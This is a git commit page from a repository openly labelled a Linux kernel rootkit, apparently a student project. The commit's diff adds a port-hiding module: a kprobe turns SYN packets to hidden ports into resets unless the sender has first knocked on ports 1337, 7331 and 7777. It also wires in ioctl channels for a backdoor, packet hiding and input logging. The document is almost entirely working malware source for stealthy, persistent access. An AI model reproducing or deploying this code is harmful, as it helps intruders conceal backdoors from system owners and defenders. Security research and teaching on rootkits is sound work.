linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 13caac6bf8947bb7bc5404170b1e0e8914e6b27b
parent faef1b6af6e15924130f9296e0f34489ba49db80
Author: deurzen <m.deurzen@tum.de>
Date:   Sun, 10 Jan 2021 02:26:18 +0100

port knocking overhaul

Diffstat:
Msrc/channel.c | 29+++++++++++++++++++++++++++++
Msrc/channel.h | 1+
Msrc/hook.c | 17++++++++++++-----
Msrc/ioctl.h | 7++++---
Msrc/porthide.c | 85++++++++++++++++++++++++++++++++++++++++++++++++++++---------------------------
Msrc/porthide.h | 17++++++++---------
6 files changed, 110 insertions(+), 46 deletions(-)

diff --git a/src/channel.c b/src/channel.c @@ -17,6 +17,7 @@ #include "rootkit.h" #include "sockhide.h" #include "packhide.h" +#include "porthide.h" #define BUFLEN 512 @@ -35,6 +36,7 @@ report_channels(void) DEBUG_NOTICE("%-24s %#10lx\n", "TCPHIDE", G7_TCPHIDE); DEBUG_NOTICE("%-24s %#10lx\n", "UDPHIDE", G7_UDPHIDE); DEBUG_NOTICE("%-24s %#10lx\n", "PACKHIDE", G7_PACKHIDE); + DEBUG_NOTICE("%-24s %#10lx\n", "PORTHIDE", G7_PORTHIDE); DEBUG_NOTICE("%-24s %#10lx\n", "BACKDOOR", G7_BACKDOOR); DEBUG_NOTICE("%-24s %#10lx\n", "TOGGLEBD", G7_TOGGLEBD); DEBUG_NOTICE("%-24s %#10lx\n", "LOGGING", G7_LOGGING); @@ -53,6 +55,7 @@ detect_channel(unsigned cmd) case G7_TCPHIDE: return (channel_t){ "TCPHIDE", handle_tcphide }; case G7_UDPHIDE: return (channel_t){ "UDPHIDE", handle_udphide }; case G7_PACKHIDE: return (channel_t){ "PACKHIDE", handle_packhide }; + case G7_PORTHIDE: return (channel_t){ "PORTHIDE", handle_porthide }; case G7_BACKDOOR: return (channel_t){ "BACKDOOR", handle_backdoor }; case G7_TOGGLEBD: return (channel_t){ "TOGGLEBD", handle_togglebd }; case G7_LOGGING: return (channel_t){ "LOGGING", handle_logging }; @@ -273,6 +276,32 @@ handle_packhide(unsigned long arg) } int +handle_porthide(unsigned long arg) +{ + unsigned sarg = (unsigned)(arg % 65536); + + if (!sarg) { + unhide_lports(); + rootkit.hiding_ports = 0; + DEBUG_NOTICE("[g7] porthide off\n"); + } else if (sarg < 0) { + unhide_lport((port_t)(-sarg)); + DEBUG_NOTICE("[g7] unhiding port %d\n", -sarg); + } else if (sarg > 0) { + if (!rootkit.hiding_ports) { + hide_lports(); + DEBUG_NOTICE("[g7] porthide on\n"); + } + + hide_lport((port_t)sarg); + rootkit.hiding_ports = 1; + DEBUG_NOTICE("[g7] hiding port %d\n", sarg); + } + + return 0; +} + +int handle_backdoor(unsigned long arg) { char buf[BUFLEN]; diff --git a/src/channel.h b/src/channel.h @@ -18,6 +18,7 @@ int handle_pidhide(unsigned long); int handle_tcphide(unsigned long); int handle_udphide(unsigned long); int handle_packhide(unsigned long); +int handle_porthide(unsigned long); int handle_backdoor(unsigned long); int handle_togglebd(unsigned long); int handle_logging(unsigned long); diff --git a/src/hook.c b/src/hook.c @@ -22,7 +22,8 @@ #include "read.h" #include "inputlog.h" #include "sockhide.h" -#include "packhide.h" +/* #include "packhide.h" */ +#include "porthide.h" extern rootkit_t rootkit; @@ -88,8 +89,11 @@ init_hooks(void) if (rootkit.hiding_sockets) hide_sockets(); - if (rootkit.hiding_packets) - hide_packets(); + /* if (rootkit.hiding_packets) */ + /* hide_packets(); */ + + if (rootkit.hiding_ports) + hide_lports(); if (rootkit.backdoor == BD_READ) backdoor_read(); @@ -120,8 +124,11 @@ remove_hooks(void) if (rootkit.hiding_sockets) unhide_sockets(); - if (rootkit.hiding_packets) - unhide_packets(); + /* if (rootkit.hiding_packets) */ + /* unhide_packets(); */ + + if (rootkit.hiding_ports) + unhide_lports(); if (rootkit.backdoor != BD_OFF) unbackdoor(); diff --git a/src/ioctl.h b/src/ioctl.h @@ -12,8 +12,9 @@ #define G7_TCPHIDE _IOR(G7_MAGIC_NUMBER, 0x5, char *) #define G7_UDPHIDE _IOR(G7_MAGIC_NUMBER, 0x6, char *) #define G7_PACKHIDE _IOR(G7_MAGIC_NUMBER, 0x7, char *) -#define G7_BACKDOOR _IOR(G7_MAGIC_NUMBER, 0x8, char *) -#define G7_TOGGLEBD _IOR(G7_MAGIC_NUMBER, 0x9, char *) -#define G7_LOGGING _IOR(G7_MAGIC_NUMBER, 0xa, char *) +#define G7_PORTHIDE _IOR(G7_MAGIC_NUMBER, 0x8, char *) +#define G7_BACKDOOR _IOR(G7_MAGIC_NUMBER, 0x9, char *) +#define G7_TOGGLEBD _IOR(G7_MAGIC_NUMBER, 0xa, char *) +#define G7_LOGGING _IOR(G7_MAGIC_NUMBER, 0xb, char *) #endif//_GROUP7_IOCTL_H diff --git a/src/porthide.c b/src/porthide.c @@ -14,10 +14,39 @@ #include "hook.h" #include "porthide.h" + +// stage 1: 1337 +knock_list_t ips_stage1 = { + .ip = { 0 }, + .version = -1, + .prev = NULL, + .next = NULL, +}; + +knock_list_t_ptr ips_stage1_tail = &ips_stage1; + +// stage 2: 7331 +knock_list_t ips_stage2 = { + .ip = { 0 }, + .version = -1, + .prev = NULL, + .next = NULL, +}; + +knock_list_t_ptr ips_stage2_tail = &ips_stage2; + +// stage 3: 7777 +knock_list_t ips_stage3 = { + .ip = { 0 }, + .version = -1, + .prev = NULL, + .next = NULL, +}; + +knock_list_t_ptr ips_stage3_tail = &ips_stage3; + lport_list_t hidden_lports = { .lport = -1, - .knock_head = NULL, - .knock_tail = NULL, .prev = NULL, .next = NULL, }; @@ -77,14 +106,14 @@ unhide_lports(void) void hide_lport(lport_t lport) { - /* if (!list_contains_ip(&hidden_ips, ipv6, v6)) */ - /* add_ip_to_list(hidden_ips_tail, ipv6, v6); */ + if (!list_contains_lport(&hidden_lports, lport)) + add_lport_to_list(hidden_lports_tail, lport); } void unhide_lport(lport_t lport) { - /* remove_ip_from_list(&hidden_ips, ipv6, v6); */ + remove_lport_from_list(hidden_lports_tail, lport); } static int @@ -94,7 +123,7 @@ g7_packet_rcv(struct kprobe *kp, struct pt_regs *pt_regs) skb = (struct sk_buff *)pt_regs->di; u8 protocol = 0; - u8 ip[16] = {0}; + u8 ip[16] = { 0 }; ip_version version; char *data = skb_network_header(skb); @@ -131,20 +160,32 @@ g7_packet_rcv(struct kprobe *kp, struct pt_regs *pt_regs) tcphdr = (struct tcphdr *)skb_transport_header(skb); unsigned src_port = (unsigned)ntohs(tcphdr->source); - lport_list_t_ptr list = NULL; - if ((list = find_lport_in_list(&hidden_lports, src_port))) { - knock_list_t_ptr knocks = NULL; + if (list_contains_knock(&ips_stage3, ip, version)) + return 0; - if (!(knocks = find_knock_in_list(list->knock_head, ip, version))) - { + if (list_contains_knock(&ips_stage2, ip, version)) { + if (src_port == 7777) + add_knock_to_list(&ips_stage3_tail, ip, version); - } + remove_knock_from_list(&ips_stage2, &ips_stage2_tail, ip, version); + goto check_port; + } else if (list_contains_knock(&ips_stage1, ip, version)) { + if (src_port == 7331) + add_knock_to_list(&ips_stage2_tail, ip, version); + remove_knock_from_list(&ips_stage1, &ips_stage1_tail, ip, version); + goto check_port; + } else { + if (src_port == 1337) + add_knock_to_list(&ips_stage1_tail, ip, version); + } + +check_port: + if (list_contains_lport(&hidden_lports, src_port)) if (tcphdr->syn) { tcphdr->syn = 0; tcphdr->rst = 1; } - } } return 0; @@ -226,15 +267,6 @@ remove_lport_from_list(lport_list_t_ptr list, lport_t lport) return ret; } -void -clear_lport_knocks(lport_list_t_ptr list) -{ - if (list && list->knock_tail) { - knock_list_t_ptr i = list->knock_tail; - while ((i = remove_knock_from_list(i, &list->knock_tail, i->ip, i->version))); - } -} - bool list_contains_knock(knock_list_t_ptr list, ip_t ip, ip_version version) { @@ -246,11 +278,8 @@ find_knock_in_list(knock_list_t_ptr head, ip_t ip, ip_version version) { knock_list_t_ptr i; for (i = head; i; i = i->next) - if (!memcmp(i->ip, ip, (version == v4 ? 4 : 16)) - && (version == -1 || i->version == version)) - { + if (!memcmp(i->ip, ip, (version == v4 ? 4 : 16)) && (version == -1 || i->version == version)) return i; - } return NULL; } @@ -279,9 +308,7 @@ remove_knock_from_list(knock_list_t_ptr list, knock_list_t_ptr *tail, ip_t ip, i { knock_list_t_ptr i = find_knock_in_list(list, ip, version), ret = NULL; - if (i && (!memcmp(i->ip, ip, (version == v4 ? 4 : 16)) - && i->version != -1)) - { + if (i && (!memcmp(i->ip, ip, (version == v4 ? 4 : 16)) && i->version != -1)) { if (i->next) i->next->prev = i->prev; else diff --git a/src/porthide.h b/src/porthide.h @@ -1,18 +1,19 @@ #ifndef _GROUP7_PORTHIDE_H #define _GROUP7_PORTHIDE_H -typedef enum { - v4, - v6 -} ip_version; +#include "packhide.h" -typedef u8 ip_t[16]; +/* typedef enum { */ +/* v4, */ +/* v6 */ +/* } ip_version; */ + +/* typedef u8 ip_t[16]; */ typedef struct knock_list *knock_list_t_ptr; typedef struct knock_list { ip_t ip; ip_version version; - unsigned next_lport; knock_list_t_ptr prev; knock_list_t_ptr next; } knock_list_t; @@ -22,8 +23,6 @@ typedef unsigned lport_t; typedef struct lport_list *lport_list_t_ptr; typedef struct lport_list { lport_t lport; - knock_list_t_ptr knock_head; - knock_list_t_ptr knock_tail; lport_list_t_ptr prev; lport_list_t_ptr next; } lport_list_t; @@ -46,7 +45,7 @@ lport_list_t_ptr remove_lport_from_list(lport_list_t_ptr, lport_t); bool list_contains_knock(knock_list_t_ptr, ip_t, ip_version); knock_list_t_ptr find_knock_in_list(knock_list_t_ptr, ip_t, ip_version); -knock_list_t_ptr add_ip_to_list(knock_list_t_ptr *, ip_t, ip_version); +knock_list_t_ptr add_knock_to_list(knock_list_t_ptr *, ip_t, ip_version); knock_list_t_ptr remove_knock_from_list(knock_list_t_ptr, knock_list_t_ptr *, ip_t, ip_version); #endif //_GROUP7_PORTHIDE_H